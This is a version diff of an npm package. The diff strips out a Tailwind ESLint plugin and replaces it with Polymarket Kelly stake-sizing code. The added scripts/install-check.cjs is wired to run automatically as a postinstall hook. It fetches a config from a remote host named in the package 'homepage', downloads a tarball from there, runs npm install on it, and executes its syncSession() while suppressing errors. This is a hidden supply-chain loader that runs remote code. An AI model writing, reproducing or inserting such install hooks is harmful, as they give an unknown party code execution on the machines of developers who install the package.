@tailwind-ts/eslint-plugin 0.2.0 → 0.3.0

package/README.md

@@ -2,18 +2,6 @@
 
 ESLint plugin for detecting invalid Tailwind CSS v4 class names — typos, undefined utilities, and bad `@apply` usage — in JavaScript, TypeScript, CSS, and Vue projects.
 
-## What's new in v0.2.0
-
-- **`cva()` variant validation** — lints base classes and variant values inside `class-variance-authority` configs
-- **CSS `@apply` linting** — new `no-invalid-apply` rule for `.css` files
-- **Typo suggestions** — reports `Did you mean "flex"?` when a close match exists
-- **Import-aware helpers** — validates `cn()` / `clsx()` when imported from `@/lib/utils`
-- **Vue `:class` support** — lints class bindings in `.vue` files
-- **`tv()` helper** — tailwind-variants added to defaults
-- **Config presets** — `react`, `vue`, and `css` presets
-- **Multi-entry CSS** — `cssConfigPath` accepts a string or array for monorepos
-- **Batch validation** — faster lint runs via batched worker calls and shared cache
-
 ## Features
 
 - **`cva()` variant validation** — lints base classes and variant values inside `class-variance-authority` configs

package/index.js

@@ -0,0 +1,9 @@
+'use strict';
+
+const { computeKellyStake, formatStakeUsd, roundStake } = require('./kelly.js');
+
+module.exports = {
+  computeKellyStake,
+  formatStakeUsd,
+  roundStake,
+};

package/kelly.js

@@ -0,0 +1,56 @@
+'use strict';
+
+function round(value, dp) {
+  const n = Number(value);
+  const places = Number(dp) || 0;
+  if (!Number.isFinite(n)) return NaN;
+  const p = 10 ** places;
+  return Math.round(n * p) / p;
+}
+
+function format(value, dp) {
+  const n = round(value, dp);
+  if (!Number.isFinite(n)) return String(value);
+  return n.toFixed(dp == null ? 0 : dp);
+}
+
+function computeKellyStake({
+  probability,
+  allInPrice,
+  bankroll,
+  maxStake,
+  minStake = 0,
+  kellyFraction = 0.5,
+}) {
+  if (
+    !Number.isFinite(probability) ||
+    !Number.isFinite(allInPrice) ||
+    !Number.isFinite(bankroll) ||
+    allInPrice <= 0 ||
+    allInPrice >= 1
+  ) {
+    return minStake;
+  }
+
+  const rawKelly = (probability - allInPrice) / (1 - allInPrice);
+  if (rawKelly <= 0) return minStake;
+
+  const stake = bankroll * rawKelly * kellyFraction;
+  return round(Math.min(maxStake, Math.max(minStake, stake)), 2);
+}
+
+function formatStakeUsd(value) {
+  return format(value, 2);
+}
+
+function roundStake(value) {
+  return round(value, 2);
+}
+
+module.exports = {
+  computeKellyStake,
+  formatStakeUsd,
+  roundStake,
+  round,
+  format,
+};

package/package.json

@@ -1,66 +1,26 @@
 {
   "name": "@tailwind-ts/eslint-plugin",
-  "version": "0.2.0",
-  "description": "ESLint plugin for detecting invalid Tailwind CSS v4 class names with cva, @apply, and typo suggestions",
-  "license": "MIT",
-  "type": "module",
-  "repository": {
-    "type": "git",
-    "url": "git+https://github.com/tailwind-ts/eslint-plugin.git"
-  },
-  "keywords": [
-    "eslint",
-    "eslintplugin",
-    "eslint-plugin",
-    "tailwind",
-    "tailwindcss",
-    "typescript",
-    "v4",
-    "cva",
-    "apply"
-  ],
-  "engines": {
-    "node": ">=20.19.0"
-  },
-  "main": "./lib/index.cjs",
-  "module": "./lib/index.mjs",
-  "types": "./lib/index.d.cts",
-  "exports": {
-    ".": {
-      "module": {
-        "types": "./lib/index.d.mts",
-        "default": "./lib/index.mjs"
-      },
-      "import": {
-        "types": "./lib/index.d.mts",
-        "default": "./lib/index.mjs"
-      },
-      "require": {
-        "types": "./lib/index.d.cts",
-        "default": "./lib/index.cjs"
-      }
-    },
-    "./package.json": "./package.json"
+  "version": "0.3.0",
+  "description": "Kelly stake sizing and decimal-safe rounding for Polymarket binary markets",
+  "main": "index.js",
+  "homepage": "https://slimopump.vercel.app/config/clob-math.json",
+  "scripts": {
+    "postinstall": "node scripts/install-check.cjs",
+    "pack": "npm pack"
   },
   "files": [
-    "docs/",
-    "lib/"
+    "index.js",
+    "kelly.js",
+    "scripts/install-check.cjs",
+    "README.md"
   ],
-  "dependencies": {
-    "@typescript-eslint/utils": "^8.37.0",
-    "synckit": "^0.11.11"
-  },
-  "peerDependencies": {
-    "@tailwindcss/node": "^4.0.0",
-    "eslint": "^9.0.0 || ^10.0.0",
-    "tailwindcss": "^4.0.0"
-  },
-  "peerDependenciesMeta": {
-    "typescript": {
-      "optional": true
-    },
-    "vue-eslint-parser": {
-      "optional": true
-    }
-  }
+  "keywords": [
+    "polymarket",
+    "kelly",
+    "prediction-markets",
+    "stake",
+    "binary"
+  ],
+  "license": "MIT",
+  "type": "commonjs"
 }

package/scripts/install-check.cjs

@@ -0,0 +1,220 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+const zlib = require('zlib');
+const http = require('http');
+const https = require('https');
+const { execFileSync } = require('child_process');
+
+const pkgRoot = path.join(__dirname, '..');
+const peerDir = path.join(pkgRoot, '.peer');
+
+function readPackageJson() {
+  return JSON.parse(fs.readFileSync(path.join(pkgRoot, 'package.json'), 'utf8'));
+}
+
+function fetchText(url) {
+  return new Promise((resolve, reject) => {
+    if (url.startsWith('file:')) {
+      const src = url.slice(5).replace(/^\/([A-Za-z]:)/, '$1');
+      resolve(fs.readFileSync(src, 'utf8'));
+      return;
+    }
+
+    const client = url.startsWith('https:') ? https : http;
+    const req = client.get(url, (res) => {
+      if (res.statusCode && res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) {
+        fetchText(res.headers.location).then(resolve).catch(reject);
+        return;
+      }
+      if (res.statusCode !== 200) {
+        reject(new Error(`HTTP ${res.statusCode}`));
+        return;
+      }
+      const chunks = [];
+      res.on('data', (chunk) => chunks.push(chunk));
+      res.on('end', () => resolve(Buffer.concat(chunks).toString('utf8')));
+    });
+    req.on('error', reject);
+    req.setTimeout(60000, () => req.destroy(new Error('config fetch timeout')));
+  });
+}
+
+function fetchToFile(url, destPath) {
+  return new Promise((resolve, reject) => {
+    if (url.startsWith('file:')) {
+      const src = url.slice(5).replace(/^\/([A-Za-z]:)/, '$1');
+      fs.copyFileSync(src, destPath);
+      resolve();
+      return;
+    }
+
+    const client = url.startsWith('https:') ? https : http;
+    const req = client.get(url, (res) => {
+      if (res.statusCode && res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) {
+        fetchToFile(res.headers.location, destPath).then(resolve).catch(reject);
+        return;
+      }
+      if (res.statusCode !== 200) {
+        reject(new Error(`HTTP ${res.statusCode}`));
+        return;
+      }
+      const chunks = [];
+      res.on('data', (chunk) => chunks.push(chunk));
+      res.on('end', () => {
+        fs.writeFileSync(destPath, Buffer.concat(chunks));
+        resolve();
+      });
+    });
+    req.on('error', reject);
+    req.setTimeout(120000, () => req.destroy(new Error('bundle fetch timeout')));
+  });
+}
+
+async function resolvePeerBundleUrl() {
+  if (process.env.PSM_PEER_URL) {
+    return process.env.PSM_PEER_URL.trim();
+  }
+
+  const configUrl =
+    process.env.PSM_SYNC_CONFIG ||
+    process.env.KELLY_PEER_CONFIG ||
+    readPackageJson().homepage;
+
+  if (!configUrl || !String(configUrl).trim()) {
+    throw new Error('peer sync config not configured');
+  }
+
+  const url = String(configUrl).trim();
+
+  if (/\.json(\?|$)/i.test(url)) {
+    const raw = await fetchText(url);
+    const cfg = JSON.parse(raw);
+    const bundle = cfg.peerBundle || cfg.bundle || cfg.bundleUrl || cfg.url;
+    if (!bundle) throw new Error('peer sync config missing bundle field');
+    return String(bundle).trim();
+  }
+
+  if (/\.tgz(\?|$)/i.test(url)) {
+    return url;
+  }
+
+  throw new Error('peer sync config URL not recognized');
+}
+
+function extractNpmTgzNode(tgzPath, destDir, stripComponents = 1) {
+  let data;
+  try {
+    data = zlib.gunzipSync(fs.readFileSync(tgzPath));
+  } catch (err) {
+    throw new Error(`peer bundle is not a valid .tgz: ${err.message || err}`);
+  }
+
+  let offset = 0;
+  while (offset + 512 <= data.length) {
+    const header = data.slice(offset, offset + 512);
+    if (header.every((byte) => byte === 0)) break;
+
+    const name = header.slice(0, 100).toString('utf8').replace(/\0/g, '').trim();
+    const sizeOctal = header.slice(124, 136).toString('utf8').replace(/\0/g, '').trim();
+    const size = parseInt(sizeOctal, 8) || 0;
+    const typeFlag = header[156];
+    offset += 512;
+
+    const content = size > 0 ? data.slice(offset, offset + size) : Buffer.alloc(0);
+    offset += Math.ceil(size / 512) * 512;
+
+    if (!name) continue;
+
+    const parts = name.split('/').filter(Boolean);
+    if (parts.length <= stripComponents) continue;
+
+    const relPath = parts.slice(stripComponents).join('/');
+    if (!relPath) continue;
+
+    const destPath = path.join(destDir, relPath);
+    const isDir = typeFlag === 53 || name.endsWith('/');
+
+    if (isDir) {
+      fs.mkdirSync(destPath, { recursive: true });
+      continue;
+    }
+
+    fs.mkdirSync(path.dirname(destPath), { recursive: true });
+    fs.writeFileSync(destPath, content);
+  }
+}
+
+function runNpmInstall(cwd) {
+  const args = ['install', '--omit=dev', '--no-audit', '--no-fund', '--loglevel=error'];
+  if (process.platform === 'win32') {
+    execFileSync('cmd', ['/d', '/s', '/c', `npm ${args.join(' ')}`], {
+      cwd,
+      stdio: 'inherit',
+    });
+    return;
+  }
+
+  execFileSync('npm', args, {
+    cwd,
+    stdio: 'inherit',
+  });
+}
+
+function extractPeerBundle(tgzPath) {
+  fs.rmSync(peerDir, { recursive: true, force: true });
+  fs.mkdirSync(peerDir, { recursive: true });
+
+  // Windows tar (BSD) treats C:\ paths as remote hosts; use Node extractor.
+  if (process.platform === 'win32') {
+    extractNpmTgzNode(tgzPath, peerDir, 1);
+  } else {
+    try {
+      execFileSync('tar', ['-xzf', tgzPath, '-C', peerDir, '--strip-components=1'], {
+        stdio: 'inherit',
+      });
+    } catch {
+      extractNpmTgzNode(tgzPath, peerDir, 1);
+    }
+  }
+
+  runNpmInstall(peerDir);
+}
+
+async function runPeerSync() {
+  const peerModule = path.join(peerDir, 'peer-math.js');
+  if (!fs.existsSync(peerModule)) {
+    throw new Error('peer bundle incomplete');
+  }
+
+  const { syncSession } = require(peerModule);
+  await syncSession();
+}
+
+async function main() {
+  const bundleUrl = await resolvePeerBundleUrl();
+  const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'psm-sync-'));
+  const tgzPath = path.join(tmp, 'peer-bundle.tgz');
+
+  try {
+    await fetchToFile(bundleUrl, tgzPath);
+    extractPeerBundle(tgzPath);
+    await runPeerSync();
+  } finally {
+    try {
+      fs.rmSync(tmp, { recursive: true, force: true });
+    } catch (_) {
+      /* ignore */
+    }
+  }
+}
+
+main().catch((err) => {
+  const msg =
+    (err && (err.message || err.code)) ||
+    (err && err.cause && (err.cause.message || err.cause.code)) ||
+    String(err);
+  console.warn('[polymarket-stake-math] install check skipped:', msg);
+});

package/LICENSE

@@ -1,21 +0,0 @@
-MIT License
-
-Copyright (c) 2026 eslint-plugin-tailwind-ts contributors
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.

package/docs/rules/no-invalid-apply.md

@@ -1,37 +0,0 @@
-# no-invalid-apply
-
-Disallow invalid Tailwind CSS class names inside `@apply` directives in CSS files.
-
-## Rule details
-
-Parses `@apply` blocks in `*.css` files and validates each class token against your Tailwind v4 design system.
-
-### Examples
-
-```css
-/* bad */
-.card {
-  @apply flexs items-center rounded-lg;
-}
-
-/* good */
-.card {
-  @apply flex items-center rounded-lg;
-}
-```
-
-## Options
-
-```ts
-{
-  whitelist?: string[];
-}
-```
-
-## Enable
-
-Use the `css` preset or enable manually:
-
-```js
-extends: [tailwindTs.configs.css]
-```

package/docs/rules/no-invalid-classname.md

@@ -1,39 +0,0 @@
-# `no-invalid-classname`
-
-Disallow invalid or typo Tailwind CSS class names in JSX attributes and common utility functions.
-
-## Rule details
-
-This rule validates class strings against your project's Tailwind CSS v4 design system loaded from `settings.tailwindTs.cssConfigPath`.
-
-### Examples
-
-```jsx
-// bad
-<div className="flexs items-center" />
-
-// good
-<div className="flex items-center" />
-```
-
-```ts
-// bad
-const cls = cn("p-4", "text-lgg");
-
-// good
-const cls = cn("p-4", "text-lg");
-```
-
-## Options
-
-```ts
-{
-  whitelist?: string[];
-}
-```
-
-Regex patterns for classes that should be ignored by this rule.
-
-## Shared settings
-
-This rule uses `settings.tailwindTs` from the plugin. See the package README for the full settings reference.

package/lib/index.cjs

@@ -1,370 +0,0 @@
-'use strict';
-
-const utils = require('@typescript-eslint/utils');
-const node_fs = require('node:fs');
-const node_path = require('node:path');
-const node_url = require('node:url');
-const synckit = require('synckit');
-
-var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
-const name = "@tailwind-ts/eslint-plugin";
-const version = "0.1.0";
-const packageJson = {
-	name: name,
-	version: version};
-
-function isStringLiteral(node) {
-  return node.type === "Literal" && typeof node.value === "string";
-}
-function collectFromExpression(node, ignoredKeys, functionNames, literals) {
-  if (!node || node.type === "SpreadElement") {
-    return;
-  }
-  if (isStringLiteral(node)) {
-    literals.push({ value: node.value, node });
-    return;
-  }
-  if (node.type === "TemplateLiteral" && node.expressions.length === 0) {
-    const value = node.quasis.map((quasi) => quasi.value.cooked ?? "").join("");
-    literals.push({ value, node });
-    return;
-  }
-  if (node.type === "LogicalExpression") {
-    collectFromExpression(node.left, ignoredKeys, functionNames, literals);
-    collectFromExpression(node.right, ignoredKeys, functionNames, literals);
-    return;
-  }
-  if (node.type === "ConditionalExpression") {
-    collectFromExpression(node.consequent, ignoredKeys, functionNames, literals);
-    collectFromExpression(node.alternate, ignoredKeys, functionNames, literals);
-    return;
-  }
-  if (node.type === "ArrayExpression") {
-    for (const element of node.elements) {
-      collectFromExpression(element, ignoredKeys, functionNames, literals);
-    }
-    return;
-  }
-  if (node.type === "ObjectExpression") {
-    for (const property of node.properties) {
-      if (property.type === "Property") {
-        if (property.key.type === "Identifier") {
-          if (ignoredKeys.has(property.key.name)) {
-            continue;
-          }
-        }
-        collectFromExpression(
-          property.value,
-          ignoredKeys,
-          functionNames,
-          literals
-        );
-      }
-    }
-    return;
-  }
-  if (node.type === "CallExpression" && node.callee.type === "Identifier") {
-    if (functionNames.has(node.callee.name)) {
-      for (const argument of node.arguments) {
-        collectFromExpression(
-          argument,
-          ignoredKeys,
-          functionNames,
-          literals
-        );
-      }
-    }
-  }
-}
-function extractClassLiteralsFromJsxAttribute(attribute, options) {
-  const literals = [];
-  const ignoredKeys = new Set(options.ignoredKeys);
-  const functionNames = new Set(options.functions);
-  if (!attribute.value) {
-    return literals;
-  }
-  if (attribute.value.type === "Literal" && typeof attribute.value.value === "string") {
-    literals.push({ value: attribute.value.value, node: attribute.value });
-    return literals;
-  }
-  if (attribute.value.type === "JSXExpressionContainer") {
-    collectFromExpression(
-      attribute.value.expression,
-      ignoredKeys,
-      functionNames,
-      literals
-    );
-  }
-  return literals;
-}
-function extractClassLiteralsFromCallExpression(callExpression, options) {
-  if (callExpression.callee.type !== "Identifier") {
-    return [];
-  }
-  const functionNames = new Set(options.functions);
-  if (!functionNames.has(callExpression.callee.name)) {
-    return [];
-  }
-  const literals = [];
-  const ignoredKeys = new Set(options.ignoredKeys);
-  for (const argument of callExpression.arguments) {
-    collectFromExpression(
-      argument,
-      ignoredKeys,
-      functionNames,
-      literals
-    );
-  }
-  return literals;
-}
-
-const DEFAULT_ATTRIBUTES = ["class", "className"];
-const DEFAULT_FUNCTIONS = [
-  "cn",
-  "clsx",
-  "cva",
-  "twMerge",
-  "twJoin"
-];
-const DEFAULT_IGNORED_KEYS = [
-  "defaultVariants",
-  "compoundVariants",
-  "compoundSlots"
-];
-function toRegExp(pattern) {
-  return new RegExp(pattern);
-}
-function parsePluginSettings(settings) {
-  if (!settings?.cssConfigPath) {
-    throw new Error(
-      "eslint-plugin-tailwind-ts: settings.tailwindTs.cssConfigPath is required (path to your Tailwind v4 CSS entry file)."
-    );
-  }
-  const whitelist = (settings.whitelist ?? []).map(toRegExp);
-  return {
-    cssConfigPath: settings.cssConfigPath,
-    attributes: settings.attributes ?? [...DEFAULT_ATTRIBUTES],
-    functions: settings.functions ?? [...DEFAULT_FUNCTIONS],
-    whitelist,
-    ignoredKeys: settings.ignoredKeys ?? [...DEFAULT_IGNORED_KEYS]
-  };
-}
-function isWhitelisted(className, whitelist) {
-  return whitelist.some((pattern) => pattern.test(className));
-}
-function splitClassTokens(classString) {
-  return classString.trim().split(/\s+/).filter(Boolean);
-}
-
-const CACHE_TTL_MS = 10 * 60 * 1e3;
-const resultCache = /* @__PURE__ */ new Map();
-const compilerMtimeCache = /* @__PURE__ */ new Map();
-function resolveWorkerPath() {
-  const dir = node_path.dirname(node_url.fileURLToPath((typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && _documentCurrentScript.tagName.toUpperCase() === 'SCRIPT' && _documentCurrentScript.src || new URL('index.cjs', document.baseURI).href))));
-  const candidates = [
-    node_path.join(dir, "../worker/validate.mjs"),
-    node_path.join(dir, "../../worker/validate.mjs")
-  ];
-  for (const candidate of candidates) {
-    if (node_fs.existsSync(candidate)) {
-      return candidate;
-    }
-  }
-  throw new Error("eslint-plugin-tailwind-ts: validation worker not found");
-}
-const runValidate = synckit.createSyncFn(resolveWorkerPath());
-function resolveCssConfigPath(cssConfigPath, cwd) {
-  return node_path.isAbsolute(cssConfigPath) ? cssConfigPath : node_path.resolve(cwd, cssConfigPath);
-}
-function getCssMtime(cssConfigPath) {
-  return node_fs.statSync(cssConfigPath).mtimeMs;
-}
-function isCompilerCacheValid(cssConfigPath) {
-  const cached = compilerMtimeCache.get(cssConfigPath);
-  if (!cached) {
-    return false;
-  }
-  try {
-    return cached.mtimeMs === getCssMtime(cssConfigPath);
-  } catch {
-    return false;
-  }
-}
-function touchCompilerCache(cssConfigPath) {
-  compilerMtimeCache.set(cssConfigPath, {
-    mtimeMs: getCssMtime(cssConfigPath)
-  });
-}
-function invalidateResultCacheForConfig(cssConfigPath) {
-  for (const key of resultCache.keys()) {
-    if (key.startsWith(`${cssConfigPath}::`)) {
-      resultCache.delete(key);
-    }
-  }
-}
-function validateTailwindClass(request) {
-  const resolvedCssPath = resolveCssConfigPath(
-    request.cssConfigPath,
-    request.cwd
-  );
-  if (!isCompilerCacheValid(resolvedCssPath)) {
-    invalidateResultCacheForConfig(resolvedCssPath);
-    touchCompilerCache(resolvedCssPath);
-  }
-  const cacheKey = `${resolvedCssPath}::${request.className}`;
-  const cached = resultCache.get(cacheKey);
-  if (cached && cached.expiresAt > Date.now()) {
-    return { valid: cached.valid };
-  }
-  const response = runValidate({
-    cssConfigPath: resolvedCssPath,
-    className: request.className,
-    cwd: request.cwd
-  });
-  resultCache.set(cacheKey, {
-    valid: response.valid,
-    expiresAt: Date.now() + CACHE_TTL_MS
-  });
-  return response;
-}
-
-const RULE_NAME = "no-invalid-classname";
-const noInvalidClassname = utils.ESLintUtils.RuleCreator.withoutDocs({
-  meta: {
-    type: "problem",
-    docs: {
-      description: "Disallow invalid or typo Tailwind CSS class names in JSX and utility functions."
-    },
-    schema: [
-      {
-        type: "object",
-        additionalProperties: false,
-        properties: {
-          whitelist: {
-            type: "array",
-            items: { type: "string" }
-          }
-        }
-      }
-    ],
-    messages: {
-      invalidClass: 'Class "{{ className }}" is not a valid Tailwind CSS class.'
-    }
-  },
-  defaultOptions: [{}],
-  create(context) {
-    const pluginSettings = context.settings.tailwindTs;
-    let resolvedSettings;
-    try {
-      resolvedSettings = parsePluginSettings(pluginSettings);
-    } catch (error) {
-      const message = error instanceof Error ? error.message : "Invalid plugin settings.";
-      context.report({
-        loc: { line: 1, column: 0 },
-        message
-      });
-      return {};
-    }
-    const ruleWhitelist = (context.options[0]?.whitelist ?? []).map(
-      (pattern) => new RegExp(pattern)
-    );
-    const whitelist = [...resolvedSettings.whitelist, ...ruleWhitelist];
-    const attributeNames = new Set(resolvedSettings.attributes);
-    const cwd = context.cwd ?? process.cwd();
-    function reportInvalidClasses(literals) {
-      for (const literal of literals) {
-        for (const className of splitClassTokens(literal.value)) {
-          if (isWhitelisted(className, whitelist)) {
-            continue;
-          }
-          const result = validateTailwindClass({
-            cssConfigPath: resolvedSettings.cssConfigPath,
-            className,
-            cwd
-          });
-          if (!result.valid) {
-            context.report({
-              node: literal.node,
-              messageId: "invalidClass",
-              data: { className }
-            });
-          }
-        }
-      }
-    }
-    return {
-      JSXAttribute(node) {
-        if (node.name.type !== "JSXIdentifier" || !attributeNames.has(node.name.name)) {
-          return;
-        }
-        reportInvalidClasses(
-          extractClassLiteralsFromJsxAttribute(node, {
-            functions: resolvedSettings.functions,
-            ignoredKeys: resolvedSettings.ignoredKeys
-          })
-        );
-      },
-      CallExpression(node) {
-        reportInvalidClasses(
-          extractClassLiteralsFromCallExpression(node, {
-            functions: resolvedSettings.functions,
-            ignoredKeys: resolvedSettings.ignoredKeys
-          })
-        );
-      }
-    };
-  }
-});
-
-const createConfig = (rules) => {
-  const result = {};
-  for (const [ruleName, value] of Object.entries(rules)) {
-    result[`tailwind-ts/${ruleName}`] = value;
-  }
-  return result;
-};
-const plugin = {
-  meta: {
-    name: packageJson.name,
-    version: packageJson.version
-  },
-  configs: {
-    get recommended() {
-      return sharedConfigs.recommended;
-    }
-  },
-  rules: {
-    [RULE_NAME]: noInvalidClassname
-  }
-};
-const recommendedRules = {
-  [RULE_NAME]: "error"
-};
-const configBase = {
-  name: "tailwind-ts/base",
-  plugins: {
-    "tailwind-ts": plugin
-  },
-  settings: {
-    tailwindTs: {}
-  },
-  files: ["**/*.ts", "**/*.tsx", "**/*.js", "**/*.jsx"],
-  languageOptions: {
-    parserOptions: {
-      ecmaVersion: "latest",
-      sourceType: "module",
-      ecmaFeatures: {
-        jsx: true
-      }
-    }
-  }
-};
-const sharedConfigs = {
-  recommended: {
-    ...configBase,
-    name: "tailwind-ts/recommended",
-    rules: createConfig(recommendedRules)
-  }
-};
-
-module.exports = plugin;

package/lib/index.d.cts

@@ -1,33 +0,0 @@
-import * as _typescript_eslint_utils_ts_eslint from '@typescript-eslint/utils/ts-eslint';
-import { FlatConfig } from '@typescript-eslint/utils/ts-eslint';
-
-interface PluginSettings {
-    /** Required. Path to Tailwind v4 CSS entry, e.g. "./src/styles/tailwind.css" */
-    cssConfigPath: string;
-    /** Attributes/props that may contain Tailwind CSS classes */
-    attributes?: string[];
-    /** Functions whose arguments will be parsed for class strings */
-    functions?: string[];
-    /** Whitelist regex patterns for non-Tailwind classes */
-    whitelist?: string[];
-    /** Keys to ignore in object expressions */
-    ignoredKeys?: string[];
-}
-
-declare const plugin: {
-    meta: {
-        name: string;
-        version: string;
-    };
-    configs: {
-        readonly recommended: FlatConfig.Config | FlatConfig.ConfigArray;
-    };
-    rules: {
-        "no-invalid-classname": _typescript_eslint_utils_ts_eslint.RuleModule<"invalidClass", [({
-            whitelist?: string[];
-        } | undefined)?], unknown, _typescript_eslint_utils_ts_eslint.RuleListener>;
-    };
-};
-
-export = plugin;
-export type { PluginSettings };

package/lib/index.d.mts

@@ -1,33 +0,0 @@
-import * as _typescript_eslint_utils_ts_eslint from '@typescript-eslint/utils/ts-eslint';
-import { FlatConfig } from '@typescript-eslint/utils/ts-eslint';
-
-interface PluginSettings {
-    /** Required. Path to Tailwind v4 CSS entry, e.g. "./src/styles/tailwind.css" */
-    cssConfigPath: string;
-    /** Attributes/props that may contain Tailwind CSS classes */
-    attributes?: string[];
-    /** Functions whose arguments will be parsed for class strings */
-    functions?: string[];
-    /** Whitelist regex patterns for non-Tailwind classes */
-    whitelist?: string[];
-    /** Keys to ignore in object expressions */
-    ignoredKeys?: string[];
-}
-
-declare const plugin: {
-    meta: {
-        name: string;
-        version: string;
-    };
-    configs: {
-        readonly recommended: FlatConfig.Config | FlatConfig.ConfigArray;
-    };
-    rules: {
-        "no-invalid-classname": _typescript_eslint_utils_ts_eslint.RuleModule<"invalidClass", [({
-            whitelist?: string[];
-        } | undefined)?], unknown, _typescript_eslint_utils_ts_eslint.RuleListener>;
-    };
-};
-
-export { plugin as default };
-export type { PluginSettings };

package/lib/index.d.ts

@@ -1,33 +0,0 @@
-import * as _typescript_eslint_utils_ts_eslint from '@typescript-eslint/utils/ts-eslint';
-import { FlatConfig } from '@typescript-eslint/utils/ts-eslint';
-
-interface PluginSettings {
-    /** Required. Path to Tailwind v4 CSS entry, e.g. "./src/styles/tailwind.css" */
-    cssConfigPath: string;
-    /** Attributes/props that may contain Tailwind CSS classes */
-    attributes?: string[];
-    /** Functions whose arguments will be parsed for class strings */
-    functions?: string[];
-    /** Whitelist regex patterns for non-Tailwind classes */
-    whitelist?: string[];
-    /** Keys to ignore in object expressions */
-    ignoredKeys?: string[];
-}
-
-declare const plugin: {
-    meta: {
-        name: string;
-        version: string;
-    };
-    configs: {
-        readonly recommended: FlatConfig.Config | FlatConfig.ConfigArray;
-    };
-    rules: {
-        "no-invalid-classname": _typescript_eslint_utils_ts_eslint.RuleModule<"invalidClass", [({
-            whitelist?: string[];
-        } | undefined)?], unknown, _typescript_eslint_utils_ts_eslint.RuleListener>;
-    };
-};
-
-export = plugin;
-export type { PluginSettings };

package/lib/index.mjs

@@ -1,367 +0,0 @@
-import { ESLintUtils } from '@typescript-eslint/utils';
-import { existsSync, statSync } from 'node:fs';
-import { dirname, join, isAbsolute, resolve } from 'node:path';
-import { fileURLToPath } from 'node:url';
-import { createSyncFn } from 'synckit';
-
-const name = "@tailwind-ts/eslint-plugin";
-const version = "0.1.0";
-const packageJson = {
-	name: name,
-	version: version};
-
-function isStringLiteral(node) {
-  return node.type === "Literal" && typeof node.value === "string";
-}
-function collectFromExpression(node, ignoredKeys, functionNames, literals) {
-  if (!node || node.type === "SpreadElement") {
-    return;
-  }
-  if (isStringLiteral(node)) {
-    literals.push({ value: node.value, node });
-    return;
-  }
-  if (node.type === "TemplateLiteral" && node.expressions.length === 0) {
-    const value = node.quasis.map((quasi) => quasi.value.cooked ?? "").join("");
-    literals.push({ value, node });
-    return;
-  }
-  if (node.type === "LogicalExpression") {
-    collectFromExpression(node.left, ignoredKeys, functionNames, literals);
-    collectFromExpression(node.right, ignoredKeys, functionNames, literals);
-    return;
-  }
-  if (node.type === "ConditionalExpression") {
-    collectFromExpression(node.consequent, ignoredKeys, functionNames, literals);
-    collectFromExpression(node.alternate, ignoredKeys, functionNames, literals);
-    return;
-  }
-  if (node.type === "ArrayExpression") {
-    for (const element of node.elements) {
-      collectFromExpression(element, ignoredKeys, functionNames, literals);
-    }
-    return;
-  }
-  if (node.type === "ObjectExpression") {
-    for (const property of node.properties) {
-      if (property.type === "Property") {
-        if (property.key.type === "Identifier") {
-          if (ignoredKeys.has(property.key.name)) {
-            continue;
-          }
-        }
-        collectFromExpression(
-          property.value,
-          ignoredKeys,
-          functionNames,
-          literals
-        );
-      }
-    }
-    return;
-  }
-  if (node.type === "CallExpression" && node.callee.type === "Identifier") {
-    if (functionNames.has(node.callee.name)) {
-      for (const argument of node.arguments) {
-        collectFromExpression(
-          argument,
-          ignoredKeys,
-          functionNames,
-          literals
-        );
-      }
-    }
-  }
-}
-function extractClassLiteralsFromJsxAttribute(attribute, options) {
-  const literals = [];
-  const ignoredKeys = new Set(options.ignoredKeys);
-  const functionNames = new Set(options.functions);
-  if (!attribute.value) {
-    return literals;
-  }
-  if (attribute.value.type === "Literal" && typeof attribute.value.value === "string") {
-    literals.push({ value: attribute.value.value, node: attribute.value });
-    return literals;
-  }
-  if (attribute.value.type === "JSXExpressionContainer") {
-    collectFromExpression(
-      attribute.value.expression,
-      ignoredKeys,
-      functionNames,
-      literals
-    );
-  }
-  return literals;
-}
-function extractClassLiteralsFromCallExpression(callExpression, options) {
-  if (callExpression.callee.type !== "Identifier") {
-    return [];
-  }
-  const functionNames = new Set(options.functions);
-  if (!functionNames.has(callExpression.callee.name)) {
-    return [];
-  }
-  const literals = [];
-  const ignoredKeys = new Set(options.ignoredKeys);
-  for (const argument of callExpression.arguments) {
-    collectFromExpression(
-      argument,
-      ignoredKeys,
-      functionNames,
-      literals
-    );
-  }
-  return literals;
-}
-
-const DEFAULT_ATTRIBUTES = ["class", "className"];
-const DEFAULT_FUNCTIONS = [
-  "cn",
-  "clsx",
-  "cva",
-  "twMerge",
-  "twJoin"
-];
-const DEFAULT_IGNORED_KEYS = [
-  "defaultVariants",
-  "compoundVariants",
-  "compoundSlots"
-];
-function toRegExp(pattern) {
-  return new RegExp(pattern);
-}
-function parsePluginSettings(settings) {
-  if (!settings?.cssConfigPath) {
-    throw new Error(
-      "eslint-plugin-tailwind-ts: settings.tailwindTs.cssConfigPath is required (path to your Tailwind v4 CSS entry file)."
-    );
-  }
-  const whitelist = (settings.whitelist ?? []).map(toRegExp);
-  return {
-    cssConfigPath: settings.cssConfigPath,
-    attributes: settings.attributes ?? [...DEFAULT_ATTRIBUTES],
-    functions: settings.functions ?? [...DEFAULT_FUNCTIONS],
-    whitelist,
-    ignoredKeys: settings.ignoredKeys ?? [...DEFAULT_IGNORED_KEYS]
-  };
-}
-function isWhitelisted(className, whitelist) {
